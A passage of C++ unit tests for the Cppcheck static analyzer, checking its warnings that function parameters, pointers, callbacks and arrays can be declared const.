{\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = &i;\\n\"\n \" std::cout << p << '\\\\n';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { const T* t; };\\n\" // #12206\n \"void f(S* s) {\\n\"\n \" if (s->t.i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(char *a1, char *a2) {\\n\" // #12252\n \" char* b = new char[strlen(a1) + strlen(a2) + 2];\\n\"\n \" sprintf(b, \\\"%s_%s\\\", a1, a2);\\n\"\n \" delete[] b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'a1' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:24]: (style) Parameter 'a2' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* p) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int *src, int* dst) {\\n\" // #12518\n \" *dst++ = (int)*src++;\\n\"\n \" *dst++ = static_cast(*src++);\\n\"\n \" *dst = (int)*src;\\n\"\n \"}\\n\"\n \"void g(int* dst) {\\n\"\n \" (int&)*dst = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'src' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {};\\n\"\n \"void f(T* t) {\\n\"\n \" S* s = (S*)t->p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:3:8]: (style) Variable 's' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str()); // don't crash\n\n check(\"struct S { int i; };\\n\" // #12205\n \"void f(S* s) {\\n\"\n \" (void)s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int* a, int* b, int i) {\\n\" // #13072\n \" a[b[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"int f(int* a, int* b, int i) {\\n\" // #13085\n \" a[*(b + i)] = 0;\\n\"\n \" return *(b + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #13286\n \"void f(struct S* s) {\\n\"\n \" if ((--s)->a >= 0) {}\\n\"\n \"}\\n\"\n \"void g(struct S* s) {\\n\"\n \" --s;\\n\"\n \" if (s->a >= 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:5:18]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n }\n\n void constArray() {\n check(\"void f(std::array& a) {\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\"\n \"void g(std::array& a) {\\n\"\n \" a.fill(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'a' can be declared as const array [constParameterReference]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[1] = {};\\n\"\n \" return i[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" static int i[] = { 0 };\\n\"\n \" int j = i[0] + 1;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" 